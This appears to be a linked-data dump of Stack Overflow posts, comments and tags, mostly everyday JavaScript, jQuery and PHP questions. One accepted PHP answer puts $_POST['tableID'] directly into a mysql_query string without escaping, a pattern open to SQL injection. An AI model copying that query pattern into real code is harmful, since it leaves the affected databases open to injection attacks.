tags question: http://stackoverflow.com/q/25872341
tags question: http://stackoverflow.com/q/25781565
tags question: http://stackoverflow.com/q/25835528
tags question: http://stackoverflow.com/q/25815392
tags question: http://stackoverflow.com/q/25822464
tags question: http://stackoverflow.com/q/25808004

http://stackoverflow.com/comment/40257928
has text: @JonCursi You can listen for mouse events on the top layer and use those event handlers to draw on the bottom canvas. Cheers!
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25736163
type: AnswerComment

http://stackoverflow.com/comment/40300723
score: 1
has text: Use a filter instead. http://stackoverflow.com/questions/16644402/angular-use-filter-on-ng-options-to-change-the-value-displayed
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25770349

http://stackoverflow.com/comment/40449839
type: Comment
score: 4
comment on: http://stackoverflow.com/q/25851891
type: QuestionComment
has text: Neither. If people want to go back then their browser has a perfectly good back button that interacts with their history in a way they understand.

http://stackoverflow.com/q/25836449
downvote count: 1
has body: I'm trying to find a web based ePub reader (in Javascript probably) that is currently being developed and is well documented. All of the things that Google turns up have either not been touched in months/years or are rather poorly documented.
type: Question
has answer: http://stackoverflow.com/a/25864911
tagged with: javascript
tagged with: epub
score: 0
has title: Current web based ePub reader
has comment: http://stackoverflow.com/comment/40421863
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40424506
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40428640
has comment: http://stackoverflow.com/comment/40428625
has comment: http://stackoverflow.com/comment/40424524
has comment: http://stackoverflow.com/comment/40428819
upvote count: 1

http://stackoverflow.com/comment/40368548
has text: The console is empty
comment on: http://stackoverflow.com/q/25807601
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/27017485
accepted answer of: http://stackoverflow.com/q/25807711
score: 1
upvote count: 1
has body: This seems to me resolved in the iOS8.1.1 update.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25807711
type: Answer
has comment: http://stackoverflow.com/comment/42601339

http://stackoverflow.com/comment/40402948
has text: Thank you! I didn't know about shadowRoot at all. Works perfectly! Thank you so much :-) And yeah the onClick was mostly just for testing. Thanks so much!
type: AnswerComment
comment on: http://stackoverflow.com/a/25826058
score: 0
type: Comment

http://stackoverflow.com/comment/40232801
type: Comment
score: 0
type: AnswerComment
has text: @delaye are you asking for a magical function to turn the xml into a beautiful dataframe?
comment on: http://stackoverflow.com/a/25732081

variables
tag name: variables
tags question: http://stackoverflow.com/q/25838688
tags question: http://stackoverflow.com/q/25847980
tags question: http://stackoverflow.com/q/25851357
tags question: http://stackoverflow.com/q/25850693
tags question: http://stackoverflow.com/q/25744343
tags question: http://stackoverflow.com/q/25808914
tags question: http://stackoverflow.com/q/25828205
type: Tag
tags question: http://stackoverflow.com/q/25779676
tags question: http://stackoverflow.com/q/25776453
tags question: http://stackoverflow.com/q/25808768
tags question: http://stackoverflow.com/q/25855491
tags question: http://stackoverflow.com/q/25739398
tags question: http://stackoverflow.com/q/25756059

http://stackoverflow.com/q/25791870
has body: I am new to lodash and Javascript in general. I am using nodejs. I am using the lodash filter function to filter some contents in my collection. Here is the snippet filteredrows = _.filter(rows, function(row, index){ //here I need to call some asynchronous function which checks the row //the return value of this asynchronous function will determine whether to return true or false for the filter function. }); My question is, how do I do this? using a closure? Is it possible to do this within the lodash filter function? Thanks in advance.
type: Question
answer count: 3
upvote count: 12
has title: How to filter a list using lodash if the filter function is asynchronous
downvote count: 0
tagged with: javascript
favorite count: 0
has answer: http://stackoverflow.com/a/25791940
has answer: http://stackoverflow.com/a/43401876
has comment: http://stackoverflow.com/comment/40339900
tagged with: lodash
tagged with: node.js
has comment: http://stackoverflow.com/comment/40339852
possible better answer: http://stackoverflow.com/a/55838480
score: 12
has answer: http://stackoverflow.com/a/55838480
accepted answer: http://stackoverflow.com/a/25791940
type: AnsweredQuestion

algorithm
tags question: http://stackoverflow.com/q/25811174
tag name: algorithm
tags question: http://stackoverflow.com/q/25841617
type: Tag

http://stackoverflow.com/q/25783746
type: UnansweredQuestion
score: 0
has title: Open Windows application using javascript/jQuery
type: Question
linked to: http://stackoverflow.com/q/6265717
answer count: 2
has answer: http://stackoverflow.com/a/25783826
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25784443
has body: As per requirement we need to open desktop application using javascript/jquery. Please help me out to resolve this issue

http://stackoverflow.com/q/25793163
tagged with: sticky
has comment: http://stackoverflow.com/comment/40342453
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25793296
tagged with: php
has answer: http://stackoverflow.com/a/25793387
tagged with: popup
has body: I'm a newbie to programming and I want to ask something about Javascript. How to make this script is displayed when the page is loaded? I want to make "1 people online" with this jQuery pop up. $(document).ready(function() { $.sticky('1 user seen this hotel!'); }); Can you all tell me how to use it and how to modify it? I get this function from http://www.jqueryrain.com/?uOBwr_rL Please help me. Thanks, gbu
type: Question
has comment: http://stackoverflow.com/comment/40342566
answer count: 2
has title: How to load this JavaScript when page Loaded
has comment: http://stackoverflow.com/comment/40342457
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/comment/40439701
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25844143
has text: Can you add the content of checkIE() to your question? That strikes me as very relevant.
score: 0

http://stackoverflow.com/comment/40474418
score: 0
has text: You could of course set `action="filehere.html#+"` if your iframe hosts a PHP script, otherwise you may have to consider using javascript to process the form, using the same idea I posted above, just simply using Javascript instead of PHP.
type: Comment
comment on: http://stackoverflow.com/a/25865293
type: AnswerComment

http://stackoverflow.com/a/25753441
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40287495
has body: If you use an isolate scope, then the elements inside directiveFather will be bound to the parent scope (thus AllCounter won't be directly available in the view - although it will hold the correct value). You can either change scope: {} to scope: true/false in directiveFather (see demo 1) or "manually" compile, link and append the HTML to the directiveFather element (see demo 2). (There is, also, Wildhoney's suggestion of using transclusion and template.) Basically, you don't need any of that for the approach to work - they are only necessary to demonstrate that everything works (by displaying the counter in the view), but even without appending the counter, the addChild() function gets called as expected. That said, after fixing the element names (&lt;directive-father&gt; and &lt;directive-son&gt;), it works as expected. See, also, these short demos: demo 1, demo 2.
has comment: http://stackoverflow.com/comment/40282714
type: Answer
accepted answer of: http://stackoverflow.com/q/25752991
answers question: http://stackoverflow.com/q/25752991
score: 0
has comment: http://stackoverflow.com/comment/40272639

http://stackoverflow.com/comment/40319678
score: 0
type: AnswerComment
has text: when i add a fourth level ul it is not working , all the anchor tag in the 4th li elements are displayed as blue , i want it to work for the list with any number of levels
type: Comment
comment on: http://stackoverflow.com/a/25780322

http://stackoverflow.com/comment/40327395
has text: I couldn't use $location.path() mapping anywhere in code
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25781587

http://stackoverflow.com/a/25829205
type: AcceptedAnswer
type: Answer
has comment: http://stackoverflow.com/comment/40408687
has comment: http://stackoverflow.com/comment/40408653
score: 3
downvote count: 0
has body: If you carefully look at the the symbol : in your strings, you will see that it is not a character : (colon). To check it just copy it from the string and use the charCodeAt method as follows: '：'.charCodeAt(0) It will give you 65306, which is "FULLWIDTH COLON" - http://www.fileformat.info/info/unicode/char/ff1a/index.htm To search for it just replace the colon in your code with this one: $(document).ready(function () { $('br').each(function () { var nodeValue = this.nextSibling.nodeValue; if (nodeValue.indexOf('：') &gt; -1) { $(this.nextSibling).remove(); $(this).remove(); } }); }); But it is better to use the numerical form and the comment then: nodeValue.indexOf('\uFF1A') // FULLWIDTH COLON
accepted answer of: http://stackoverflow.com/q/25829155
upvote count: 3
answers question: http://stackoverflow.com/q/25829155

http://stackoverflow.com/comment/40558908
type: Comment
type: QuestionComment
has text: @Regent Your answer worked perfectly. :) Thank you!! you can add the same in answer section.
comment on: http://stackoverflow.com/q/25867126
score: 0

http://stackoverflow.com/a/25739786
type: Answer
has comment: http://stackoverflow.com/comment/40245625
has comment: http://stackoverflow.com/comment/40256284
score: 1
downvote count: 1
upvote count: 2
has body: You should alter your HTML to get this effect. Added CSS: #accordion div#one.accordion:target + a { color: blue; } #accordion div#two.accordion:target + a { color: red; } #accordion div#three.accordion:target + a { color: yellow; } Altered HTML: (example) ONE....... Example one TWO......... Example two THREE........ Example three Working Fiddle
answers question: http://stackoverflow.com/q/25739490
has comment: http://stackoverflow.com/comment/40317956

http://stackoverflow.com/a/25775573
upvote count: 7
accepted answer of: http://stackoverflow.com/q/25775462
answers question: http://stackoverflow.com/q/25775462
has body: You need to place httpLocalBackend.flush() statement before expect($scope.stuff.length).toBe(2). Once you make a request you need to flush it for the data to be available in your client code. it('should get stuff', function () { var url = '/api/roles'; var httpResponse = [{ "stuffId": 1 }, { "stuffId": 2 }]; scope.getStuff(); //Just moved this from after expectGET httpLocalBackend.expectGET(url).respond(200, httpResponse); httpLocalBackend.flush(); expect($scope.stuff.length).toBe(2); } ); Try this.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40311201
has comment: http://stackoverflow.com/comment/40337885
type: Answer
score: 7
has comment: http://stackoverflow.com/comment/40334448
has comment: http://stackoverflow.com/comment/40311100
has comment: http://stackoverflow.com/comment/40311216

http://stackoverflow.com/q/25809644
has answer: http://stackoverflow.com/a/25809913
has comment: http://stackoverflow.com/comment/40372180
linked to: http://stackoverflow.com/q/6312993
has comment: http://stackoverflow.com/comment/40372130
tagged with: counter
tagged with: clock
tagged with: javascript
has comment: http://stackoverflow.com/comment/40372119
has body: I'm a multimedia student who has been learning Javascript. This morning I had the idea of trying to make a clock. Yes I know it's been done 24/7 on this forum, but not like I want it, The thing I want: When you load the page, the clock starts at 00:00:00 (not at current time). and then every second comes by etc etc. The code I got so far: Teller 0 0 0 Start Stop I hope what I'm asking won't take much of your time, Thank you in advance!
score: 0
answer count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40372111
has answer: http://stackoverflow.com/a/25809961
has title: Sort of Clock using setInterval
type: Question

http://stackoverflow.com/comment/40460758
type: Comment
comment on: http://stackoverflow.com/q/25857634
has text: oh also, `document.write` is not a good way to debug anything. You should pretty much never use it. Use `console.log` instead and just look at your browser's console. As a matter of fact, in the typical workflow you will always have your console open and use it for experimenting and prototyping many times a day.
type: QuestionComment
score: 0

http://stackoverflow.com/q/25822940
has answer: http://stackoverflow.com/a/25822978
answer count: 4
type: AnsweredQuestion
has title: Add class to selected paragraph (contenteditable div)
upvote count: 2
score: 1
has comment: http://stackoverflow.com/comment/40397226
downvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/25822978
tagged with: javascript
has body: I have a series of paragraphs like this in a contenteditable div: text text text I want to be able to select one of the paragraghs (with the mouse) and add a class to it: text text text What's the simplest way to do this? (I'm going to create my own event but I want the selected text/paragraph to be the selected element)
has answer: http://stackoverflow.com/a/25823021
has answer: http://stackoverflow.com/a/25823078
possible better answer: http://stackoverflow.com/a/25822952
tagged with: jquery
has answer: http://stackoverflow.com/a/25822952
favorite count: 0
tagged with: http://stackoverflow.com/tag/html
tagged with: css

http://stackoverflow.com/q/25802015
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40365168
score: 1
tagged with: http://stackoverflow.com/tag/json
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
tagged with: hash
has comment: http://stackoverflow.com/comment/40359501
has title: Encrypt/decrypt javascript object into/from string - node.js
tagged with: node.js
type: AnsweredQuestion
has body: I'm searching for solution of encrypting my javascript object with some data (e.g. { data: [{...}, {...}] } ) into string and then be able to decrypt this back to the same object. These operations will be done on node.js server. For now I'm stringifying object with JSON.stringify and then using base64 url encoding and decoding with https://www.npmjs.org/package/b64url. What I don't like here is that output string is even longer than stringified json. I would like to have encrypted string with some restricted size. Is it possible? Maybe there are some npm packages ready for that purporse? Thanks!
has answer: http://stackoverflow.com/a/26487006
has comment: http://stackoverflow.com/comment/40359611
accepted answer: http://stackoverflow.com/a/26487006
has comment: http://stackoverflow.com/comment/40359162
tagged with: encryption

http://stackoverflow.com/a/25725928
type: Answer
has body: Thanks for the comments and thank you @Null for helping me find the exact cause here. The real reason behind it happening was; I call .stop() on the .hover() event. So if you hovered your mouse out/in -side of the button right after clicking on the button the animation would obviously stop and the menu would not hide. This is why it happened at very unpredictable rates and just something that was hard to notice during interaction So I changed my code for it to add a class during the animation, which if exists disables the hover event. The class is removed when the menu pops back up. Found out that I can use use {queue: false} in the .animation() function. It's always the little things.. but thanks a lot.
has comment: http://stackoverflow.com/comment/40224037
answers question: http://stackoverflow.com/q/25721961
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25721961
has comment: http://stackoverflow.com/comment/40219761

http://stackoverflow.com/q/25775323
type: AnsweredQuestion
type: Question
has comment: http://stackoverflow.com/comment/40310832
accepted answer: http://stackoverflow.com/a/25776119
answer count: 1
has body: When the application starts, by default there is no or inside of the dynatable. I am using javascript to add/remove table rows into the p_scents from the client side. This works quite well on the client side. I am trying to loop through the elements and collect the data into an array for processing in PHP. When I submit the form, the HTML goes back to default with no data inside the p_scents and i am unable to grab the data. Is there a way to get the HTML elements/values that I created with javascript to persist to the server side? I don't necessarily need the HTML to stay but i need the values in post. If you need any additional explanations/code I can provide as much as I possibly can, please let me know. I have tried $_POST methods and the code is simply not there. any ideas of what I should be doing in my situation? Form on client side: <form method="post" action="<?php echo htmlspecialchars('?page_id=133');?>" enctype="multipart/form-data" > Time Description Remove Remove Form once submitted to server-side: <form method="post" action="<?php echo htmlspecialchars('?page_id=133');?>" enctype="multipart/form-data" > Time Description
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
tagged with: dynamically-generated
has title: Persist dynamicly generated html through PHP form via post
score: 0
tagged with: wordpress
tagged with: php
has answer: http://stackoverflow.com/a/25776119

http://stackoverflow.com/q/25728047
has title: "this" in .each function not pointing to .each's caller
has comment: http://stackoverflow.com/comment/40222901
has body: In jQuery, $('.myClass').each(function(){return this;}) will retrun every elements with class .myClass. I suppose this is also the case for mootools's .each function. However, when I try to read the following codes, I got confused(the 'attach' function is the method in question, so you can skip other codes): var Mosaic = new Class({ Implements: //some codes, options: //some codes initialize: function(options){ this.setOptions(options); this.mosaics = document.getElements('[data-mosaic]'); this.mosaic = {}; this.settings = {}; try { RokMediaQueries.on('every', this.mediaQuery.bind(this)); } catch(error) { if (typeof console != 'undefined') console.error('Error while trying to add a RokMediaQuery "match" event', error); } }, attach: function(mosaic, settings){ mosaic = typeOf(mosaic) == 'number' ? document.getElements('[data-mosaic=' + this.getID(mosaic) + ']') : mosaic; settings = typeOf(settings) == 'string' ? JSON.decode(settings) : settings; var containers = (mosaic ? new Elements([mosaic]).flatten() : this.mosaics); containers.each(function(container){ container.store('roksprocket:mosaic:attached', true); this.setSettings(container, settings, 'restore'); // ..... setSettings: //some functions // ..... }); In the 'attach' method, there is a call of containers.each, wherein 'this' is not pointing to the current element of 'containers', insteadly, it is pointing to the instances created through Mosaic CLass. Somewhere in the codes, there is something like: myDemonstrate = new Mosaic(); myDemonstrate.attach(somekey, someJson); And I set a breakpoint on the line this.setSettings(container, settings, 'restore'); and at this point, "this" is actually the object myDemonstrate. So, why is the "this" here not the .each functions's caller? Does it have to do with the fact that it is inside the Mosaic() function? (RokSprocketMosaic is a joomla extension developed by RocketTheme, if needed, you can find Mosaic.js file here: http://fbnychoir.org/components/com_roksprocket/layo…
tagged with: joomla
score: 2
has answer: http://stackoverflow.com/a/25729095
upvote count: 2
possible better answer: http://stackoverflow.com/a/25729963
has answer: http://stackoverflow.com/a/25729963
type: Question
tagged with: mootools
type: AnsweredQuestion
tagged with: javascript
tagged with: class
accepted answer: http://stackoverflow.com/a/25729095
has comment: http://stackoverflow.com/comment/40222834
answer count: 2
has comment: http://stackoverflow.com/comment/40237969
downvote count: 0
favorite count: 0

http://stackoverflow.com/comment/115071505
score: 0
comment on: http://stackoverflow.com/a/25792796
type: Comment
type: AnswerComment
has text: Updating my 5 year old comment: It works (again) now - indeed only for geometries of type 'point' :). For non-point geometries, have a look at this: https://stackoverflow.com/questions/4302300/tooltip-over-a-polygon-in-google-maps/47818570#47818570 / Funny side note; I actually just encountered this answer and this comment, read it and was about to answer on it, without realizing it was my own :').

http://stackoverflow.com/comment/40459593
has text: @nonsequiter Toggle class should detect the class and remove in that case, is this method working for elements that already exist?
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25856730
type: AnswerComment

http://stackoverflow.com/comment/40307742
comment on: http://stackoverflow.com/q/25773522
type: Comment
score: 1
type: QuestionComment
has text: Just in case you are interested: http://rmariuzzo.github.io/dom-navigator/

http://stackoverflow.com/q/25777403
score: 1
type: Question
has comment: http://stackoverflow.com/comment/40314476
tagged with: ruby-on-rails-4
has answer: http://stackoverflow.com/a/25777520
has title: rails ajax spinner works in development but not production
answer count: 1
downvote count: 0
tagged with: javascript
favorite count: 0
tagged with: ajax
has body: I am using this javascript: verify_link.js ... a=$(this).parent(); a.html('&lt;img src="assets/ajax-loader.gif"&gt;'); ... The image is in app/assets/images/ajax-loader.gif Works ok in developmnent but in production it get a broken image link (is a little hard to see but is not the spinner). Would using a rails path fix this ? Currently it is a .js file, do I need to make it .js.erb to do that ?
tagged with: asset-pipeline
accepted answer: http://stackoverflow.com/a/25777520
upvote count: 1
tagged with: ruby-on-rails
type: AnsweredQuestion

http://stackoverflow.com/q/25854377
answer count: 1
tagged with: javascript
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/25854434
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40454253
type: Question
has body: Goal: Click on the image and populate the form fields with applicable information for each item. The form fields, and images, weren't a requirement but I thought that the images would be nice and populating a form seemed logical. I guess I could onclick text and have an alert box pop up with the pertinent info but I have chosen this path. Code: Restaurant Menu Restaurant Menu Click on picture for details Item Title Item Description/List of Ingredients Price $
has title: JS onclick of image populate form fields
score: 0
has answer: http://stackoverflow.com/a/25854434
has comment: http://stackoverflow.com/comment/40454576

http://stackoverflow.com/comment/40313773
type: QuestionComment
has text: what about pasting into developer console?
score: 6
comment on: http://stackoverflow.com/q/25777035
type: Comment

http://stackoverflow.com/comment/40342488
type: Comment
has text: @KevInSol yes and no. "so it's (foo, bar) where foo will always be the key and bar the object" <-- Yes. "And if just (foo) then foo is the object?" <-- No: if you just want the object, don't use the parenthesis.
type: AnswerComment
comment on: http://stackoverflow.com/a/25792450
score: 0

http://stackoverflow.com/q/25748013
has comment: http://stackoverflow.com/comment/40261193
has body: I am trying to simulate keyboard commands inside my application. Currently, I can press any arrow keys and I am able to capture the events fine. However, I am trying to simulate key events but I haven't had any luck. Here is my code: //Event this.remoteEvent = function(arg_event) { var e = document.createEvent('KeyboardEvent'); var method = (typeof e.initKeyboardEvent !== 'undefined') ? "initKeyboardEvent" : "initKeyEvent"; switch (arg_event) { case 'up': e[method]('keydown', true, true, window, false, false, false, false, 0, 38); break; case 'right': e[method]('keydown', true, true, window, false, false, false, false, 0, 39); break; case 'down': e[method]('keydown', true, true, window, false, false, false, false, 0, 40); break; case 'left': e[method]('keydown', true, true, window, false, false, false, false, 0, 37); break; case 'enter': e[method]('keydown', true, true, window, false, false, false, false, 0, 13); break; } document.dispatchEvent(e); } Am I approaching something wrong? I am aiming NOT to use jQuery and to be mostly cross-browser compatible. Edit: Here is the the event that I am logging before dispatching: KeyboardEvent { altGraphKey: false altKey: false bubbles: true cancelBubble: false cancelable: true charCode: 0 clipboardData: undefined ctrlKey: false currentTarget: null defaultPrevented: false detail: 0 eventPhase: 0 keyCode: 0 keyIdentifier: "false" keyLocation: 0 layerX: 0 layerY: 0 location: 0 metaKey: true pageX: 0 pageY: 0 path: NodeList[0] repeat: false returnValue: true shiftKey: false srcElement: document target: document timeStamp: 1410276114922 type: "keydown" view: Window which: 0 } Edit2: Here is my code to capture events: document.addEventListener('keydown', key_down_event, false); //Key down event function key_down_event(arg_event) { //Ignore all key events if any modifier key is pressed if (arg_event.altKey || arg_event.ctrlKey || arg_event.metaKey || arg_event.shiftKey) return; //Get the source var source = arg_event.target; var de…
has title: Simulate key press using native JavaScript
has comment: http://stackoverflow.com/comment/40260493
downvote count: 0
tagged with: dom-events
favorite count: 0
type: Question
score: 3
has comment: http://stackoverflow.com/comment/40260936
has comment: http://stackoverflow.com/comment/40261273
upvote count: 3
has answer: http://stackoverflow.com/a/25749704
answer count: 1
has comment: http://stackoverflow.com/comment/40261585
has comment: http://stackoverflow.com/comment/40261405
has comment: http://stackoverflow.com/comment/40260875
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/q/25817412
type: Question
upvote count: 1
answer count: 1
has body: I have been trying to create ticks between each division of my linear gradient, for some reason I can not get them to align properly with the gradient, the math is pretty simple yet it is still off by a few pixels in very big gradients. My HTML: canvas.js: $(document).ready(function() { var canvas= $("canvas")[0]; var canvasWidth= $("canvas").innerWidth(); var canvasHeight= $("canvas").innerHeight(); var ctx = canvas.getContext("2d"); var size= [0, 0, canvasWidth, canvasHeight/2]; var grad = ctx.createLinearGradient(size[0],size[1],size[2],0); ctx.lineWidth= 2; grad.addColorStop(0, 'green'); grad.addColorStop(0.5, 'green'); grad.addColorStop(0.5, 'yellow'); grad.addColorStop(0.8, 'yellow'); grad.addColorStop(0.8, 'red'); grad.addColorStop(1, 'red'); ctx.fillStyle = grad; ctx.fillRect(size[0], size[1], size[2], size[3]); ctx.translate(0, canvasHeight/2); ctx.strokeStyle= "black"; ctx.beginPath(); ctx.moveTo(canvasWidth*0.5, -6); ctx.lineTo(canvasWidth*0.5, 6); ctx.stroke(); ctx.beginPath(); ctx.moveTo(canvasWidth*0.8, -6); ctx.lineTo(canvasWidth*0.8, 6); ctx.stroke(); }); The code is also in a fiddle As you can see I create 3 color sections using the createLinearGradient method, I add stops at 0.5 and 0.8, then I try to plot ticks at those same spaces. The ticks are dislocated to the left a few pixels and I have no idea why. This is only noticeable in big gradients, in small gradients (like 300px x 300px) the ticks appear to be in the right position. Note: I have to use linear gradients, changing to simple colored rectangles is not an option. I want to be able to define gradients as well as solid colors sections with the same code (just changing the color stops).
has comment: http://stackoverflow.com/comment/40404606
has answer: http://stackoverflow.com/a/25852153
tagged with: canvas
has title: Canvas aligning lines to linear-gradient color stops
has comment: http://stackoverflow.com/comment/40390264
downvote count: 0
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25852153
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
score: 1
favorite count: 0

http://stackoverflow.com/q/25854494
has comment: http://stackoverflow.com/comment/40455273
has comment: http://stackoverflow.com/comment/40455582
has comment: http://stackoverflow.com/comment/40454736
tagged with: php
tagged with: checkbox
linked to: http://stackoverflow.com/q/1809494
has comment: http://stackoverflow.com/comment/40455381
has comment: http://stackoverflow.com/comment/40455248
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25855018
possible better answer: http://stackoverflow.com/a/25855741
type: Question
has comment: http://stackoverflow.com/comment/40454653
has answer: http://stackoverflow.com/a/25855018
has answer: http://stackoverflow.com/a/25855741
has body: Since checkboxes do send their content only when they are checked but my server side script needs ala of them (checked and unchecked fields with values 'Y' or 'N'), I need to dynamically substitute checkbox form fields (their functionalities) with hidden input fields with the same names. So I need jQuery script which will do the following; for each checkbox input field on my page it should dynamically insert hidden input field with the same name as checkbox it should add onclick listener to all checkbox fields which would set previous hidden field to 'Y' when checkbox is checked, and 'N' otherwise remove name of checkbox input field in order to avoid naming conflict when sending form content to server (not sure if this is really needed) so jQuery should current state: &lt;input type="checkbox" name="name1" checked="checked" /&gt; &lt;input type="checkbox" name="name2" /&gt; dynamically substitute with: &lt;input type="hidden" name="name1" value="Y" /&gt; &lt;input type="checkbox" checked="checked" onclick="function()"/&gt; &lt;input type="hidden" name="name2" value="N" /&gt; &lt;input type="checkbox" onclick="function()"/&gt; or replace checkbox fields with hidden fields with corresponding values before submitting form. function() could be noname and dynamically assigned to checkboxes and change previous hidden fields with 'Y' or 'N' according to checkbox state.
tagged with: javascript
tagged with: jquery
score: 0
answer count: 2
tagged with: http://stackoverflow.com/tag/html
has title: Dynamically substituting checkboxes with hidden fields using jQuery
has comment: http://stackoverflow.com/comment/40455704
has comment: http://stackoverflow.com/comment/40455113

http://stackoverflow.com/q/25751203
has comment: http://stackoverflow.com/comment/40266670
has answer: http://stackoverflow.com/a/25751665
score: 0
answer count: 1
type: UnansweredQuestion
has title: Override default navigator.plugins
has body: I'm trying to build an array that mimics the browsers plugin array: var customPluginList = [{ name: 'Adobe Acrobat', description: 'Adobe PDF Plug-In For Firefox and Netscape 11.0.69', filename: 'nppdf32.dll', version: '11.0.8.69' }, { name: 'Silverlight Plug-In', description: '5.1.30514.69', filename: 'npctrl.dll', version: '5.1.30514.0' }); When I try to loop customPluginList outputting the name field I receive [object Object].
tagged with: dom
type: Question
tagged with: javascript

http://stackoverflow.com/a/25855462
type: Answer
answers question: http://stackoverflow.com/q/25855174
accepted answer of: http://stackoverflow.com/q/25855174
upvote count: 1
has comment: http://stackoverflow.com/comment/40458150
has comment: http://stackoverflow.com/comment/40456361
has comment: http://stackoverflow.com/comment/40458373
has comment: http://stackoverflow.com/comment/40456343
has body: Store the "Button ID" of each button in a hidden input in the same form as the button. echo " \n"; echo " \n"; echo " \n"; echo " \n"; echo " \n" . $info['testName'] . " \n"; echo " \n"; echo " "; echo " \n"; echo " \n"; echo " \n"; echo " \n"; You need to use the FORM tags so the server knows what data you're passing to it. In this case, it will pass the hidden id with value = $info['tableID'] to it, depending on which button you press. $data = mysql_query(" SELECT testName , testBio FROM tableTest WHERE tableID = ".$_POST['tableID']." GROUP BY tableID ") or die(mysql_error()); Hopefully that should help. Just remember, when taking input from a webpage, you NEED to be using forms.
has comment: http://stackoverflow.com/comment/40456400
has comment: http://stackoverflow.com/comment/40457634
has comment: http://stackoverflow.com/comment/40457783
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40458251
score: 1

http://stackoverflow.com/q/25823883
tagged with: cross-browser
favorite count: 0
tagged with: svg.js
has title: Odd behaviour of svg.js "animate().move()" in Firefox
upvote count: 1
has answer: http://stackoverflow.com/a/33136386
type: AnsweredQuestion
score: 1
type: Question
has body: I am using svg.js (Website) to animate a polygon inside a mask. This works perfectly in Chrome and IE However if I try it in Firefox the animation is broken. Please have a look at this jsfiddle. HTML: &lt;div id="drawing"&gt;&lt;/div&gt; JS: var draw = SVG('drawing'); var rect = draw.rect(1000, 300).fill({ color: '#fff' }); var polygon = draw.polygon('100,260 50,300 150,300').fill('#000'); var mask = draw.mask().add(rect).add(polygon); var bgrect = draw.rect(1000, 300).fill({ color: '#ff0000' }); bgrect.maskWith(mask); polygon.animate().move(500,260); In Chrome and IE the triangle moves 500px along the x-axis, which is what I want. In Firefox, however, it jumps to the upper left corner und animates downwards to its initial position. Is there a way to make the animation work in Firefox, too? I'm testing in FF 32.0.1 btw.
tagged with: firefox
downvote count: 0
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/33136386

http://stackoverflow.com/q/25760875
tagged with: javascript
has answer: http://stackoverflow.com/a/25760943
has comment: http://stackoverflow.com/comment/40283853
has comment: http://stackoverflow.com/comment/40283808
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40283760
accepted answer: http://stackoverflow.com/a/25760943
type: Question
has title: What is onSubmitCheck for?
has body: I'm working on a form which has this code in the submit button : &lt;input type="submit" onclick="return onSubmitCheck(document.forms['name'])"&gt; When I delete this part onclick="return onSubmitCheck(document.forms['name'])" it works as normal as before so I don't have any idea what is that for. Is it for security of form or something else? Is it ok to remove it?
tagged with: inputbox
tagged with: forms
has comment: http://stackoverflow.com/comment/40283691
score: 0
answer count: 1

http://stackoverflow.com/q/25819427
type: AnsweredQuestion
tagged with: dom
accepted answer: http://stackoverflow.com/a/25819527
has title: Missing children nodes within DOM
answer count: 2
downvote count: 0
tagged with: javascript
favorite count: 0
possible better answer: http://stackoverflow.com/a/25819492
has answer: http://stackoverflow.com/a/25819492
score: 2
has body: I am using DOM to retrieve children of my element node whose class name is 'main' as indicated in the html snippet below. It seems to me that there 9 children elements under the parent element. but i was surprised by the children nodes values. Does anyone has an explanation for the output below Page Title Article Heading First Paragraph Second Paragraph Third Paragraph Fourth Paragraph Instructions Fifth Paragraph Sixth Paragraph JS code: var articleHeadElemNode = document.querySelector(".main"); console.log(articleHeadElemNode.childElementCount); for (i =0; i<articleHeadElemNode.childElementCount ; i++ ) console.log(articleHeadElemNode.childNodes[i]); Final Output: 9 #text ​Page Title​ ​ #text ​Article Heading​ ​ #text ​First Paragraph​ ​ #text ​Second Paragraph​ ​ #text Where are the rest of paragraphs? I managed to retrieve the elements using document.querySelector(".main > h3") or using querySelectorAll but I am interested in logical explanation for what is going on here?
has answer: http://stackoverflow.com/a/25819527
upvote count: 2
type: Question

http://stackoverflow.com/a/25734082
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25733845
has comment: http://stackoverflow.com/comment/40357943
answers question: http://stackoverflow.com/q/25733845
has body: This code should accomplish what you're looking for. It uses the jquery ui draggable extension to make elements draggable inside the "viewport". The overflow:hidden on the viewport prevents the scrollbar. Learning canvas
type: Answer
has comment: http://stackoverflow.com/comment/40234938
has comment: http://stackoverflow.com/comment/43939940
has comment: http://stackoverflow.com/comment/40235071
has comment: http://stackoverflow.com/comment/40235043
has comment: http://stackoverflow.com/comment/40235089
has comment: http://stackoverflow.com/comment/134084285
has comment: http://stackoverflow.com/comment/40235000

http://stackoverflow.com/comment/40307318
type: Comment
type: QuestionComment
has text: Did you try to click ctrl+F5, it should request reloading of the whole page? The other way could be to try to restart just the application, and see if it works?
comment on: http://stackoverflow.com/q/25769258
score: 0

http://stackoverflow.com/q/25736345
downvote count: 0
score: 1
type: Question
tagged with: javascript
tagged with: jquery
tagged with: radiobuttonlist
